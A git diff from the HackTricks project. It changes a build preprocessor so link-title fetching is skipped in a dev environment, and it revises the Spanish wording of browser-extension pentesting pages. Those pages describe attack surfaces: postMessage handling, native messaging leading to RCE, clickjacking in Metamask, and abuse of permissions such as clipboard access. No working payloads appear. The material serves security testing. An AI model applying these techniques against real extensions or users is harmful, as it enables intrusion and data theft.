diff --git a/book.toml b/book.toml
index 55f8eeb4f..3d588387c 100644
--- a/book.toml
+++ b/book.toml
@@ -22,6 +22,7 @@ after = ["links"]
 
 [preprocessor.hacktricks]
 command = "python3 ./hacktricks-preprocessor.py"
+env = "prod"
 
 [output.html]
 additional-css = ["theme/pagetoc.css", "theme/tabs.css"]
diff --git a/hacktricks-preprocessor.py b/hacktricks-preprocessor.py
index 37f549101..fedfdef99 100644
--- a/hacktricks-preprocessor.py
+++ b/hacktricks-preprocessor.py
@@ -30,14 +30,16 @@ def ref(matchobj):
     href =  matchobj.groups(0)[0].strip()
     title = href
     if href.startswith("http://") or href.startswith("https://"):
-        # pass
-        try:
-            raw_html = str(urlopen(Request(href, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0'})).read())
-            match = re.search('<title>(.*?)</title>', raw_html)
-            title = match.group(1) if match else href
-        except Exception as e:
-            logger.debug(f'Error opening URL {href}: {e}')
-            pass #nDont stop on broken link
+        if context['config']['preprocessor']['hacktricks']['env'] == 'dev':
+            pass
+        else:
+            try:
+                raw_html = str(urlopen(Request(href, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0'})).read())
+                match = re.search('<title>(.*?)</title>', raw_html)
+                title = match.group(1) if match else href
+            except Exception as e:
+                logger.debug(f'Error opening URL {href}: {e}')
+                pass #nDont stop on broken link
     else:
         try:
             if href.endswith("/"):
@@ -90,7 +92,7 @@ if __name__ == '__main__':
     context, book = json.load(sys.stdin)
 
     logger.debug(f"Context: {context}")
-
+    logger.debug(f"Env: {context['config']['preprocessor']['hacktricks']['env']}")
 
     for chapter in iterate_chapters(book['sections']):
         logger.debug(f"Chapter: {chapter['path']}")
diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/README.md b/src/pentesting-web/browser-extension-pentesting-methodology/README.md
index a53c0290c..3889160c7 100644
--- a/src/pentesting-web/browser-extension-pentesting-methodology/README.md
+++ b/src/pentesting-web/browser-extension-pentesting-methodology/README.md
@@ -29,7 +29,7 @@ La extensión permite un binario nativo que puede **acceder a la máquina host c
 > [!CAUTION]
 > Para obtener los privilegios completos del usuario, un atacante debe convencer a la extensión de pasar entrada maliciosa desde el script de contenido al núcleo de la extensión y desde el núcleo de la extensión al binario nativo.
 
-Cada componente de la extensión está separado de los demás por **fuertes límites protectores**. Cada componente se ejecuta en un **proceso del sistema operativo separado**. Los scripts de contenido y los núcleos de extensión se ejecutan en **procesos de sandbox** no disponibles para la mayoría de los servicios del sistema operativo.
+Cada componente de la extensión está separado de los demás por **fuertes límites protectores**. Cada componente se ejecuta en un **proceso de sistema operativo separado**. Los scripts de contenido y los núcleos de extensión se ejecutan en **procesos de sandbox** no disponibles para la mayoría de los servicios del sistema operativo.
 
 Además, los scripts de contenido están separados de sus páginas web asociadas al **ejecutarse en un montón de JavaScript separado**. El script de contenido y la página web tienen **acceso al mismo DOM subyacente**, pero los dos **nunca intercambian punteros de JavaScript**, lo que previene la filtración de funcionalidad de JavaScript.
 
@@ -61,7 +61,7 @@ Ejemplo:
 ```
 ### `content_scripts`
 
-Los scripts de contenido se **cargan** cada vez que el usuario **navega a una página que coincide**, en nuestro caso, cualquier página que coincida con la expresión **`https://example.com/*`** y que no coincida con la regex **`*://*/*/business*`**. Se ejecutan **como los propios scripts de la página** y tienen acceso arbitrario al [Modelo de Objetos del Documento (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model).
+Los scripts de contenido se **cargan** cada vez que el usuario **navega a una página que coincide**, en nuestro caso, cualquier página que coincida con la expresión **`https://example.com/*`** y que no coincida con la regex **`*://*/*/business*`**. Se ejecutan **como los propios scripts de la página** y tienen acceso arbitrario al [Modelo de Objetos del Documento (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model) de la página.
 ```json
 "content_scripts": [
 {
@@ -95,9 +95,9 @@ Un mensaje se envía a las páginas de la extensión por el script de contenido
 
 > [!WARNING]
 > Dependiendo del navegador, las capacidades del script de contenido pueden variar ligeramente. Para navegadores basados en Chromium, la lista de capacidades está disponible en la [documentación de Chrome Developers](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), y para Firefox, el [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) sirve como la fuente principal.\
-> También es notable que los scripts de contenido tienen la capacidad de comunicarse con scripts de fondo, lo que les permite realizar acciones y transmitir respuestas de vuelta.
+> También es notable que los scripts de contenido tienen la capacidad de comunicarse con scripts de fondo, lo que les permite realizar acciones y retransmitir respuestas.
 
-Para ver y depurar scripts de contenido en Chrome, se puede acceder al menú de herramientas de desarrollador de Chrome desde Opciones > Más herramientas > Herramientas de desarrollador O presionando Ctrl + Shift + I.
+Para ver y depurar scripts de contenido en Chrome, se puede acceder al menú de herramientas de desarrollador de Chrome desde Opciones > Más herramientas > Herramientas para desarrolladores O presionando Ctrl + Shift + I.
 
 Una vez que se muestran las herramientas de desarrollador, se debe hacer clic en la **pestaña Fuente**, seguida de la pestaña **Scripts de Contenido**. Esto permite observar los scripts de contenido en ejecución de varias extensiones y establecer puntos de interrupción para rastrear el flujo de ejecución.
 
@@ -169,9 +169,9 @@ chrome.tabs.executeScript(tabId, { file: "content_script.js" })
 ```
 Para incluir o excluir más URLs, también es posible usar **`include_globs`** y **`exclude_globs`**.
 
-### Scripts de Contenido `run_at`
+### Content Scripts `run_at`
 
-El campo `run_at` controla **cuándo se inyectan los archivos JavaScript en la página web**. El valor preferido y por defecto es `"document_idle"`.
+El campo `run_at` controla **cuándo se inyectan los archivos JavaScript en la página web**. El valor preferido y predeterminado es `"document_idle"`.
 
 Los valores posibles son:
 
@@ -179,7 +179,7 @@ Los valores posibles son:
 - **`document_start`**: Después de cualquier archivo de `css`, pero antes de que se construya cualquier otro DOM o se ejecute cualquier otro script.
 - **`document_end`**: Inmediatamente después de que el DOM esté completo, pero antes de que se hayan cargado subrecursos como imágenes y marcos.
 
-#### A través de `manifest.json`
+#### Via `manifest.json`
 ```json
 {
 "name": "My extension",
@@ -326,8 +326,8 @@ browext-clickjacking.md
 Según la [**documentación**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable), la propiedad de manifiesto `"externally_connectable"` declara **qué extensiones y páginas web pueden conectarse** a su extensión a través de [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) y [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage).
 
 - Si la clave **`externally_connectable`** **no** está declarada en el manifiesto de su extensión o está declarada como **`"ids": ["*"]`**, **todas las extensiones pueden conectarse, pero ninguna página web puede conectarse**.
-- Si se **especifican IDs específicos**, como en `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **solo esas aplicaciones** pueden conectarse.
-- Si se **especifican coincidencias**, esas aplicaciones web podrán conectarse:
+- Si se especifican **IDs específicos**, como en `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **solo esas aplicaciones** pueden conectarse.
+- Si se especifican **coincidencias**, esas aplicaciones web podrán conectarse:
 ```json
 "matches": [
 "https://*.google.com/*",
@@ -352,9 +352,9 @@ Para comunicarse entre el script de contenido y la página web, generalmente se
 
 ### Dentro de la extensión
 
-Generalmente se utiliza la función **`chrome.runtime.sendMessage`** para enviar un mensaje dentro de la extensión (generalmente manejado por el script `background`) y para recibirlo y manejarlo se declara un oyente llamando a **`chrome.runtime.onMessage.addListener`**.
+Generalmente se utiliza la función **`chrome.runtime.sendMessage`** para enviar un mensaje dentro de la extensión (generalmente manejado por el script `background`) y para recibir y manejarlo se declara un oyente llamando a **`chrome.runtime.onMessage.addListener`**.
 
-También es posible usar **`chrome.runtime.connect()`** para tener una conexión persistente en lugar de enviar mensajes individuales, es posible usarlo para **enviar** y **recibir** **mensajes** como en el siguiente ejemplo:
+También es posible usar **`chrome.runtime.connect()`** para tener una conexión persistente en lugar de enviar mensajes individuales, se puede usar para **enviar** y **recibir** **mensajes** como en el siguiente ejemplo:
 
 <details>
 
@@ -393,7 +393,7 @@ También es posible enviar mensajes desde un script de fondo a un script de cont
 
 ### Desde `externally_connectable` permitido a la extensión
 
-**Las aplicaciones web y las extensiones de navegador externas permitidas** en la configuración de `externally_connectable` pueden enviar solicitudes utilizando :
+**Las aplicaciones web y las extensiones de navegador externas permitidas** en la configuración de `externally_connectable` pueden enviar solicitudes usando :
 ```javascript
 chrome.runtime.sendMessage(extensionId, ...
 ```
@@ -401,7 +401,7 @@ Donde es necesario mencionar el **ID de la extensión**.
 
 ### Mensajería Nativa
 
-Es posible que los scripts de fondo se comuniquen con binarios dentro del sistema, que podrían ser **propensos a vulnerabilidades críticas como RCEs** si esta comunicación no está debidamente asegurada. [More on this later](./#native-messaging).
+Es posible que los scripts de fondo se comuniquen con binarios dentro del sistema, que podrían ser **propensos a vulnerabilidades críticas como RCEs** si esta comunicación no está debidamente asegurada. [Más sobre esto más tarde](./#native-messaging).
 ```javascript
 chrome.runtime.sendNativeMessage(
 "com.my_company.my_application",
@@ -456,9 +456,9 @@ Una comunicación segura de Post Message debe verificar la autenticidad del mens
 - El script de contenido podría esperar un mensaje solo si el usuario realiza alguna acción.
 - **dominio de origen**: podría esperar un mensaje solo de una lista permitida de dominios.
 - Si se utiliza una expresión regular, ten mucho cuidado.
-- **Fuente**: `received_message.source !== window` se puede usar para verificar si el mensaje fue **del mismo ventana** donde el Script de Contenido está escuchando.
+- **Fuente**: `received_message.source !== window` se puede usar para verificar si el mensaje fue **desde la misma ventana** donde el Script de Contenido está escuchando.
 
-Las verificaciones anteriores, incluso si se realizan, podrían ser vulnerables, así que verifica en la siguiente página **posibles bypasses de Post Message**:
+Las verificaciones anteriores, incluso si se realizan, podrían ser vulnerables, así que verifica en la siguiente página **posibles elusiones de Post Message**:
 
 {{#ref}}
 ../postmessage-vulnerabilities/
@@ -527,9 +527,9 @@ Una consideración importante es que en escenarios donde múltiples páginas est
 
 Al crear nuevas extensiones, la preferencia debe ser hacia promesas en lugar de callbacks. Con respecto al uso de callbacks, la función `sendResponse()` se considera válida solo si se ejecuta directamente dentro del contexto sincrónico, o si el controlador de eventos indica una operación asincrónica al devolver `true`. Si ninguno de los controladores devuelve `true` o si la función `sendResponse()` se elimina de la memoria (recolectada por el garbage collector), el callback asociado con la función `sendMessage()` se activará por defecto.
 
-## Native Messaging
+## Mensajería Nativa
 
-Las extensiones del navegador también permiten comunicarse con **binarios en el sistema a través de stdin**. La aplicación debe instalar un json que lo indique en un json como:
+Las extensiones del navegador también permiten comunicarse con **binarios en el sistema a través de stdin**. La aplicación debe instalar un json que indique esto en un json como:
 ```json
 {
 "name": "com.my_company.my_application",
@@ -567,34 +567,34 @@ Y dentro de esto se explica un ejemplo de **cómo ir de cualquier página a RCE
 
 ## Información Sensible en Memoria/Código/Portapapeles
 
-Si una Extensión del Navegador almacena **información sensible dentro de su memoria**, esta podría ser **volcada** (especialmente en máquinas con Windows) y **buscada** para esta información.
+Si una Extensión del Navegador almacena **información sensible dentro de su memoria**, esta podría ser **volcada** (especialmente en máquinas Windows) y **buscada** para esta información.
 
 Por lo tanto, la memoria de la Extensión del Navegador **no debe considerarse segura** y **la información sensible** como credenciales o frases mnemotécnicas **no debe ser almacenada**.
 
-Por supuesto, **no pongas información sensible en el código**, ya que será **pública**.
+Por supuesto, **no ponga información sensible en el código**, ya que será **pública**.
 
-Para volcar la memoria del navegador, podrías **volcar la memoria del proceso** o ir a la **configuración** de la extensión del navegador, hacer clic en **`Inspeccionar pop-up`** -> En la sección **`Memoria`** -> **`Tomar un instantáneo`** y **`CTRL+F`** para buscar dentro del instantáneo información sensible.
+Para volcar la memoria del navegador, podría **volcar la memoria del proceso** o ir a la **configuración** de la extensión del navegador y hacer clic en **`Inspeccionar pop-up`** -> En la sección **`Memoria`** -> **`Tomar un instantáneo`** y **`CTRL+F`** para buscar dentro del instantáneo información sensible.
 
 Además, información altamente sensible como claves mnemotécnicas o contraseñas **no debería permitirse que se copien en el portapapeles** (o al menos eliminarla del portapapeles en unos segundos) porque entonces los procesos que monitorean el portapapeles podrán obtenerlas.
 
 ## Cargando una Extensión en el Navegador
 
-1. **Descarga** la Extensión del Navegador y descomprímela.
-2. Ve a **`chrome://extensions/`** y **habilita** el `Modo de Desarrollador`.
-3. Haz clic en el botón **`Cargar descomprimido`**.
+1. **Descargue** la Extensión del Navegador y descomprímala.
+2. Vaya a **`chrome://extensions/`** y **active** el `Modo de Desarrollador`.
+3. Haga clic en el botón **`Cargar descomprimido`**.
 
-En **Firefox**, vas a **`about:debugging#/runtime/this-firefox`** y haces clic en el botón **`Cargar complemento temporal`**.
+En **Firefox**, vaya a **`about:debugging#/runtime/this-firefox`** y haga clic en el botón **`Cargar complemento temporal`**.
 
 ## Obtener el código fuente de la tienda
 
 El código fuente de una extensión de Chrome se puede obtener a través de varios métodos. A continuación se detallan explicaciones e instrucciones para cada opción.
 
-### Descargar la Extensión como ZIP a través de la Línea de Comandos
+### Descargar Extensión como ZIP a través de la Línea de Comandos
 
 El código fuente de una extensión de Chrome se puede descargar como un archivo ZIP utilizando la línea de comandos. Esto implica usar `curl` para obtener el archivo ZIP de una URL específica y luego extraer el contenido del archivo ZIP a un directorio. Aquí están los pasos:
 
-1. Reemplaza `"extension_id"` con el ID real de la extensión.
-2. Ejecuta los siguientes comandos:
+1. Reemplace `"extension_id"` con el ID real de la extensión.
+2. Ejecute los siguientes comandos:
 ```bash
 extension_id=your_extension_id   # Replace with the actual extension ID
 curl -L -o "$extension_id.zip" "https://clients2.google.com/service/update2/crx?response=redirect&os=mac&arch=x86-64&nacl_arch=x86-64&prod=chromecrx&prodchannel=stable&prodversion=44.0.2403.130&x=id%3D$extension_id%26uc"
@@ -616,7 +616,7 @@ Las extensiones de Chrome instaladas localmente también se pueden inspeccionar.
 2. Navega a la subcarpeta `Extensions/` dentro del directorio del perfil.
 3. Esta carpeta contiene todas las extensiones instaladas, típicamente con su código fuente en un formato legible.
 
-Para identificar las extensiones, puedes mapear sus IDs a nombres:
+Para identificar extensiones, puedes mapear sus IDs a nombres:
 
 - Habilita el Modo Desarrollador en la página `about:extensions` para ver los IDs de cada extensión.
 - Dentro de la carpeta de cada extensión, el archivo `manifest.json` contiene un campo `name` legible, ayudándote a identificar la extensión.
@@ -652,11 +652,11 @@ Aunque las extensiones de navegador tienen una **superficie de ataque limitada**
 - [ ] Si el **Content Script accede a detalles del DOM**, verificar que **no estén introduciendo un XSS** si son **modificados** por la web
 - [ ] Hacer un énfasis especial si esta comunicación también está involucrada en la **comunicación de Content Script -> script de fondo**
 - [ ] Si el script de fondo se comunica a través de **native messaging**, verificar que la comunicación sea segura y esté saneada
-- [ ] **La información sensible no debe ser almacenada** dentro del **código** de la Extensión del Navegador
-- [ ] **La información sensible no debe ser almacenada** dentro de la **memoria** de la Extensión del Navegador
+- [ ] **La información sensible no debe ser almacenada** dentro del **código** de la extensión del navegador
+- [ ] **La información sensible no debe ser almacenada** dentro de la **memoria** de la extensión del navegador
 - [ ] **La información sensible no debe ser almacenada** dentro del **sistema de archivos sin protección**
 
-## Riesgos de la Extensión del Navegador
+## Riesgos de Extensiones de Navegador
 
 - La aplicación [https://crxaminer.tech/](https://crxaminer.tech/) analiza algunos datos como los permisos que solicita la extensión del navegador para dar un nivel de riesgo de uso de la extensión del navegador.
 
@@ -668,24 +668,24 @@ Aunque las extensiones de navegador tienen una **superficie de ataque limitada**
 - Visor de **[**manifest.json**](https://developer.chrome.com/extensions/manifest)**: simplemente muestra una versión JSON formateada del manifiesto de la extensión.
 - **Análisis de Huellas Dactilares**: Detección de [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) y generación automática de JavaScript de huellas dactilares de extensiones de Chrome.
 - **Análisis de Clickjacking Potencial**: Detección de páginas HTML de extensiones con la directiva [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) establecida. Estas son potencialmente vulnerables a clickjacking dependiendo del propósito de las páginas.
-- Visor de **Advertencia(s) de Permisos**: que muestra una lista de todas las advertencias de solicitud de permisos de Chrome que se mostrarán cuando un usuario intente instalar la extensión.
+- Visor de **Advertencia(s) de Permisos**: que muestra una lista de todas las advertencias de permisos de Chrome que se mostrarán cuando un usuario intente instalar la extensión.
 - **Función(es) Peligrosa(s)**: muestra la ubicación de funciones peligrosas que podrían ser potencialmente explotadas por un atacante (por ejemplo, funciones como innerHTML, chrome.tabs.executeScript).
 - **Punto(s) de Entrada**: muestra dónde la extensión recibe entrada de usuario/externa. Esto es útil para entender la superficie de una extensión y buscar puntos potenciales para enviar datos maliciosamente elaborados a la extensión.
 - Tanto los escáneres de Función(es) Peligrosa(s) como de Punto(s) de Entrada tienen lo siguiente para sus alertas generadas:
 - Fragmento de código relevante y línea que causó la alerta.
 - Descripción del problema.
-- Un botón de “Ver Archivo” para ver el archivo fuente completo que contiene el código.
+- Un botón “Ver Archivo” para ver el archivo fuente completo que contiene el código.
 - La ruta del archivo alertado.
 - La URI completa de la extensión de Chrome del archivo alertado.
-- El tipo de archivo que es, como un script de Página de Fondo, Script de Contenido, Acción del Navegador, etc.
+- El tipo de archivo que es, como un script de Página de Fondo, Script de Contenido, Acción de Navegador, etc.
 - Si la línea vulnerable está en un archivo JavaScript, las rutas de todas las páginas donde está incluida, así como el tipo de estas páginas y el estado de [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources).
 - **Analizador de Política de Seguridad de Contenido (CSP) y verificador de bypass**: Esto señalará debilidades en la CSP de su extensión y también iluminará cualquier forma potencial de eludir su CSP debido a CDNs en la lista blanca, etc.
-- **Bibliotecas Conocidas Vulnerables**: Esto utiliza [Retire.js](https://retirejs.github.io/retire.js/) para verificar cualquier uso de bibliotecas JavaScript conocidas como vulnerables.
+- **Bibliotecas Vulnerables Conocidas**: Esto utiliza [Retire.js](https://retirejs.github.io/retire.js/) para verificar cualquier uso de bibliotecas JavaScript conocidas como vulnerables.
 - Descargar extensión y versiones formateadas.
 - Descargar la extensión original.
 - Descargar una versión embellecida de la extensión (HTML y JavaScript auto formateados).
-- Caché automática de resultados de escaneo, ejecutar un escaneo de extensión tomará un buen tiempo la primera vez que lo ejecute. Sin embargo, la segunda vez, suponiendo que la extensión no ha sido actualizada, será casi instantáneo debido a que los resultados están en caché.
-- URLs de Reporte Enlazables, fácilmente enlazar a alguien más a un informe de extensión generado por tarnish.
+- Caché automática de resultados de escaneo, ejecutar un escaneo de extensión tomará un buen tiempo la primera vez que lo ejecute. Sin embargo, la segunda vez, suponiendo que la extensión no se haya actualizado, será casi instantáneo debido a que los resultados están en caché.
+- URLs de Informe enlazables, fácilmente enlazar a alguien más a un informe de extensión generado por tarnish.
 
 ### [Neto](https://github.com/elevenpaths/neto)
 
diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md
index 3b8c2f124..e545bfc28 100644
--- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md
+++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md
@@ -79,7 +79,7 @@ Un [**artículo de blog sobre un ClickJacking en metamask se puede encontrar aqu
 
 <figure><img src="../../images/image (21).png" alt=""><figcaption></figcaption></figure>
 
-**Otro ClickJacking solucionado** en la extensión de Metamask fue que los usuarios podían **Click para agregar a la lista blanca** cuando una página era sospechosa de ser phishing debido a `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. Como esa página era vulnerable a Clickjacking, un atacante podría abusar de ella mostrando algo normal para hacer que la víctima haga clic para agregarla a la lista blanca sin darse cuenta, y luego volver a la página de phishing que será agregada a la lista blanca.
+**Otro ClickJacking solucionado** en la extensión de Metamask fue que los usuarios podían **Click para agregar a la lista blanca** cuando una página era sospechosa de ser phishing debido a `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. Como esa página era vulnerable a Clickjacking, un atacante podría abusar de ella mostrando algo normal para hacer que la víctima hiciera clic para agregarla a la lista blanca sin darse cuenta, y luego volver a la página de phishing que será agregada a la lista blanca.
 
 ## Ejemplo de Steam Inventory Helper
 
diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md
index b5a8c8718..23c384c9d 100644
--- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md
+++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md
@@ -18,7 +18,7 @@ Puedes encontrar la [**lista completa de permisos que una extensión de navegado
 
 ### `host_permissions`
 
-La configuración opcional pero poderosa **`host_permissions`** indica con qué hosts la extensión podrá interactuar a través de APIs como [`cookies`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/cookies), [`webRequest`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/webRequest), y [`tabs`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs).
+La configuración opcional pero poderosa **`host_permissions`** indica con qué hosts la extensión podrá interactuar a través de APIs como [`cookies`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/cookies), [`webRequest`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/webRequest) y [`tabs`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs).
 
 Los siguientes `host_permissions` permiten básicamente todos los web:
 ```json
@@ -59,9 +59,9 @@ Ambas API permiten ejecutar no solo archivos contenidos en las extensiones como
 
 ### Privilegios implícitos <a href="#implicit-privileges" id="implicit-privileges"></a>
 
-Algunos privilegios de la extensión **no tienen que ser declarados explícitamente**. Un ejemplo es la [API de pestañas](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs): su funcionalidad básica es accesible sin ningún privilegio. Cualquier extensión puede ser notificada cuando abres y cierras pestañas, simplemente no sabrá a qué sitio web corresponden estas pestañas.
+Algunos privilegios de extensión **no tienen que ser declarados explícitamente**. Un ejemplo es la [API de pestañas](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs): su funcionalidad básica es accesible sin ningún privilegio. Cualquier extensión puede ser notificada cuando abres y cierras pestañas, simplemente no sabrá a qué sitio web corresponden estas pestañas.
 
-¿Suena demasiado inofensivo? La [API tabs.create()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) es algo menos inofensiva. Puede ser utilizada para **crear una nueva pestaña**, esencialmente lo mismo que [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open) que puede ser llamado por cualquier sitio web. Sin embargo, mientras que `window.open()` está sujeto al **bloqueador de ventanas emergentes, `tabs.create()` no lo está**.
+¿Suena demasiado inofensivo? La [API tabs.create()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) es algo menos así. Puede ser utilizada para **crear una nueva pestaña**, esencialmente lo mismo que [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open) que puede ser llamado por cualquier sitio web. Sin embargo, mientras que `window.open()` está sujeto al **bloqueador de ventanas emergentes, `tabs.create()` no lo está**.
 
 > [!CAUTION]
 > Una extensión puede crear cualquier número de pestañas cuando quiera.
@@ -79,7 +79,7 @@ Probablemente sepas que los sitios web pueden solicitar permisos especiales, por
 
 Típicamente, una extensión lo hará inmediatamente después de ser instalada. Una vez que se acepta este aviso, **el acceso a la cámara web es posible en cualquier momento**, incluso si el usuario no está interactuando con la extensión en ese momento. Sí, un usuario solo aceptará este aviso si la extensión realmente necesita acceso a la cámara web. Pero después de eso, deben confiar en que la extensión no grabará nada en secreto.
 
-Con acceso a [tu ubicación geográfica exacta](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) o [el contenido de tu portapapeles](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API), otorgar permiso explícitamente es innecesario por completo. **Una extensión simplemente agrega `geolocation` o `clipboard` a la** [**entrada de permisos**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **de su manifiesto**. Estos privilegios de acceso se otorgan implícitamente cuando se instala la extensión. Así que una extensión maliciosa o comprometida con estos privilegios puede crear tu perfil de movimiento o monitorear tu portapapeles en busca de contraseñas copiadas sin que te des cuenta.
+Con acceso a [tu ubicación geográfica exacta](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) o [contenidos de tu portapapeles](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API), otorgar permiso explícitamente es innecesario por completo. **Una extensión simplemente agrega `geolocation` o `clipboard` a la** [**entrada de permisos**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **de su manifiesto**. Estos privilegios de acceso se otorgan implícitamente cuando se instala la extensión. Así que una extensión maliciosa o comprometida con estos privilegios puede crear tu perfil de movimiento o monitorear tu portapapeles en busca de contraseñas copiadas sin que te des cuenta.
 
 Agregar la palabra clave **`history`** a la [entrada de permisos](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) del manifiesto de la extensión otorga **acceso a la** [**API de historial**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history). Permite recuperar todo el historial de navegación del usuario de una vez, sin esperar a que el usuario visite estos sitios web nuevamente.
 
@@ -99,9 +99,9 @@ Puedes encontrar la [**lista completa de permisos que una extensión de navegado
 
 La política del desarrollador de Google prohíbe explícitamente a las extensiones solicitar más privilegios de los necesarios para su funcionalidad, mitigando efectivamente las solicitudes excesivas de permisos. Un caso en el que una extensión del navegador sobrepasó este límite involucró su distribución con el propio navegador en lugar de a través de una tienda de complementos.
 
-Los navegadores podrían limitar aún más el abuso de los privilegios de las extensiones. Por ejemplo, las API [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) y [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) de Chrome, utilizadas para la grabación de pantalla, están diseñadas para minimizar el abuso. La API tabCapture solo puede ser activada a través de la interacción directa del usuario, como hacer clic en el ícono de la extensión, mientras que desktopCapture requiere la confirmación del usuario para que la ventana sea grabada, previniendo actividades de grabación clandestinas.
+Los navegadores podrían limitar aún más el abuso de los privilegios de extensión. Por ejemplo, las API [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) y [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) de Chrome, utilizadas para la grabación de pantalla, están diseñadas para minimizar el abuso. La API tabCapture solo puede ser activada a través de la interacción directa del usuario, como hacer clic en el ícono de la extensión, mientras que desktopCapture requiere la confirmación del usuario para que la ventana sea grabada, previniendo actividades de grabación clandestinas.
 
-Sin embargo, endurecer las medidas de seguridad a menudo resulta en una disminución de la flexibilidad y la facilidad de uso de las extensiones. El permiso [activeTab](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) ilustra este compromiso. Se introdujo para eliminar la necesidad de que las extensiones solicitaran privilegios de host en toda la internet, permitiendo que las extensiones accedan solo a la pestaña actual tras la activación explícita por parte del usuario. Este modelo es efectivo para extensiones que requieren acciones iniciadas por el usuario, pero no es suficiente para aquellas que requieren acciones automáticas o preventivas, comprometiendo así la conveniencia y la capacidad de respuesta inmediata.
+Sin embargo, endurecer las medidas de seguridad a menudo resulta en una disminución de la flexibilidad y la facilidad de uso de las extensiones. El [permiso activeTab](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) ilustra este compromiso. Se introdujo para eliminar la necesidad de que las extensiones solicitaran privilegios de host en toda la internet, permitiendo que las extensiones accedan solo a la pestaña actual tras la activación explícita por parte del usuario. Este modelo es efectivo para extensiones que requieren acciones iniciadas por el usuario, pero no es suficiente para aquellas que requieren acciones automáticas o preventivas, comprometiendo así la conveniencia y la capacidad de respuesta inmediata.
 
 ## **Referencias**
 
diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md
index 0b5c8a904..09e333816 100644
--- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md
+++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md
@@ -94,7 +94,7 @@ Para mejorar esta vulnerabilidad, se explota una vulnerabilidad secundaria de **
 [...]
 ],
 ```
-Notablemente, la página **`/html/bookmarks.html`** es susceptible a framing, por lo tanto vulnerable a **clickjacking**. Esta vulnerabilidad se aprovecha para enmarcar la página dentro del sitio de un atacante, superponiéndola con elementos DOM para rediseñar la interfaz de manera engañosa. Esta manipulación lleva a las víctimas a interactuar con la extensión subyacente de manera involuntaria.
+Notablemente, la **`/html/bookmarks.html`** página es susceptible a framing, por lo tanto vulnerable a **clickjacking**. Esta vulnerabilidad se aprovecha para enmarcar la página dentro del sitio de un atacante, superponiéndola con elementos DOM para rediseñar la interfaz de manera engañosa. Esta manipulación lleva a las víctimas a interactuar con la extensión subyacente de manera involuntaria.
 
 ## Referencias
 
diff --git a/src/pentesting-web/cache-deception/README.md b/src/pentesting-web/cache-deception/README.md
index 6e636ca3e..9c9cecbc5 100644
--- a/src/pentesting-web/cache-deception/README.md
+++ b/src/pentesting-web/cache-deception/README.md
@@ -17,7 +17,7 @@ La ejecución de un ataque de envenenamiento de caché implica varios pasos:
 
